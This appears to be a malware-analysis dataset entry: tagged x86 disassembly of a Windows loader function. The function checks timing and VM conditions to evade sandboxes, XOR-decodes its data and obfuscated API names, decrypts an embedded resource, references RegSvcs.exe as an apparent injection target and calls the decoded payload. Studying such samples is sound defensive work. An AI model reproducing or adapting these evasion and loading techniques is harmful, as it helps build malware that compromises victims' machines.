Function at 0x408e60
Capabilities:
Check for time delay via gettickcount
Encode data using xor
Extract resource via kernel32 functions
Get system information on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, 0xdbc98
call fcn.0040bbe0
mov eax, dword [0x43b7a4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
push 0x9c40
mov edi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0xa
push 0x65
push eax
mov dword [ebp - 0xdbc44], eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0xdbc3c], eax
lea eax, [ebp - 0xdbc38]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
sub esi, edi
cmp esi, 0x9c40
jb 0x409218
cmp edi, 2
jb 0x409218
mov edi, 1
xor esi, esi
sub edi, section..data
mov eax, 0x38e38e39
mul esi
mov eax, esi
shr edx, 2
lea ecx, [edx + edx*8]
add ecx, ecx
sub eax, ecx
lea ecx, [edi + section..data]
add ecx, esi
movzx eax, byte [eax + str.hVAxtyfwyfswtydfw]
xor byte [esi + section..data], al
mov eax, 0x38e38e39
mul ecx
mov eax, esi
shr edx, 2
lea ecx, [edx + edx*8]
add ecx, ecx
sub eax, ecx
movzx eax, byte [eax + 0x42c40d]
xor byte [esi + 0x43b001], al
add esi, 2
cmp esi, 0x77e
jb 0x408ef5
movups xmm0, xmmword [str.k_v4.0.30319RegSvcs.exe]
mov ax, word [0x42c450]
push str.SizeofResource
push dword [0x43c73c]
movups xmmword [ebp - 0xdbc90], xmm0
mov word [ebp - 0xdbc60], ax
movups xmm0, xmmword [0x42c430]
movups xmmword [ebp - 0xdbc80], xmm0
movups xmm0, xmmword [0x42c440]
movups xmmword [ebp - 0xdbc70], xmm0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.USER32.dll_SendMessageCallbackA]
xor esi, esi
mov dword [ebp - 0xdbc40], eax
nop
cmp esi, 0x2b
jae 0x408fc7
push 0x2a1
push str.GASfdrtwyefdeytwr
call fcn.00409250
add esp, 8
lea eax, [esi + 4]
push 0
push 0
push 0
push 0
push eax
push 0
call edi
inc esi
cmp esi, 0x36
jl 0x408fa0
push 0
push 0x73f2
mov ecx, 0x43c940
call fcn.004027a0
movups xmm0, xmmword [str.bZGtARYPFAeWG5]
lea eax, [ebp - 0x20]
mov esi, 1
mov edi, 2
lea ecx, [ebp - 0x20]
sub esi, eax
sub edi, eax
mov eax, 3
xor edx, edx
sub eax, ecx
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0xdbc14], eax
nop dword [eax]
mov eax, edx
lea ecx, [ebp - 0x20]
and eax, 3
add ecx, edx
add edx, 4
movzx eax, byte [eax + 0x42c3c8]
xor byte [ecx], al
lea eax, [esi + ecx]
and eax, 3
movzx eax, byte [eax + 0x42c3c8]
xor byte [ecx + 1], al
lea eax, [edi + ecx]
and eax, 3
movzx eax, byte [eax + 0x42c3c8]
xor byte [ecx + 2], al
mov eax, dword [ebp - 0xdbc14]
add eax, ecx
and eax, 3
movzx eax, byte [eax + 0x42c3c8]
xor byte [ecx + 3], al
cmp edx, 0x10
jb 0x409010
lea eax, [ebp - 0x20]
mov dword [ebp - 0xdbc14], 0
push eax
push dword [0x43c73c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0xdbc14]
mov dword [0x43c738], eax
push ecx
push 0x40
push 0x77e
push section..data
call eax
movups xmm0, xmmword [str.C:WindowsMicrosoft.NETFramewor]
mov eax, dword [0x42c4a8]
push dword [ebp - 0xdbc3c]
mov edi, dword [ebp - 0xdbc44]
movups xmmword [ebp - 0x70], xmm0
push edi
movups xmm0, xmmword [0x42c478]
mov dword [ebp - 0x30], eax
movups xmmword [ebp - 0x60], xmm0
movups xmm0, xmmword [0x42c488]
movups xmmword [ebp - 0x50], xmm0
movups xmm0, xmmword [0x42c498]
movups xmmword [ebp - 0x40], xmm0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push dword [ebp - 0xdbc3c]
mov esi, eax
push edi
call dword [ebp - 0xdbc40]
push esi
mov dword [ebp - 0xdbc3c], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
xor esi, esi
mov edi, eax
cmp dword [ebp - 0xdbc3c], esi
jbe 0x409187
mov eax, 0xffffffe0
lea ecx, [ebp - 0xdbc10]
sub eax, edi
sub ecx, edi
mov dword [ebp - 0xdbc40], eax
mov edx, ecx
mov dword [ebp - 0xdbc14], ecx
cmp esi, 0x164
jae 0x409144
add eax, esi
add eax, edi
push eax
push str.Hello__my_Friend__SAHGdf:
call fcn.00409250
mov edx, dword [ebp - 0xdbc14]
add esp, 8
mov al, byte [esi + edi]
lea ecx, [esi + edi]
inc esi
mov byte [edx + ecx], al
mov eax, dword [ebp - 0xdbc40]
cmp esi, dword [ebp - 0xdbc3c]
jb 0x409124
xor esi, esi
nop
mov eax, 0x51eb851f
mov ecx, esi
mul esi
shr edx, 3
imul eax, edx, 0x19
sub ecx, eax
mov al, byte [ecx + 0x42c4c8]
xor byte [ebp + esi - 0xdbc10], al
inc esi
cmp esi, dword [ebp - 0xdbc3c]
jb 0x409160
lea edx, [ebp - 0xdbc90]
mov esi, edx
nop
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x409190
lea edi, [ebp - 0x70]
sub edx, esi
add edi, 0xfffffffe
lea eax, [edi + 2]
mov dword [ebp - 0xdbc40], eax
nop dword [eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4091b0
mov ecx, edx
lea eax, [ebp - 0xdbc10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
mov ecx, edx
mov eax, 0x43b181
and ecx, 3
push 0
push dword [ebp - 0xdbc40]
rep movsb byte es:[edi], byte [esi]
call eax
add esp, 0xc
mov dword [ebp - 0xdbc14], 0
lea eax, [ebp - 0xdbc14]
mov ecx, 0x43c8c8
push eax
call fcn.00401210
cmp dword [ebp - 0xdbc14], 0x1aa
jle 0x409234
push 0x40
push str.ASGHdgtgerf
push str.HSdgftyfgregterw
jmp 0x40922c
push 5
call dword [sym.imp.USER32.dll_MessageBeep]
push 0x10
push str.Error_
push str.Access_denied__Do_not_launch_this_Software_on_Virtual_Machine_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.0040bb16
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret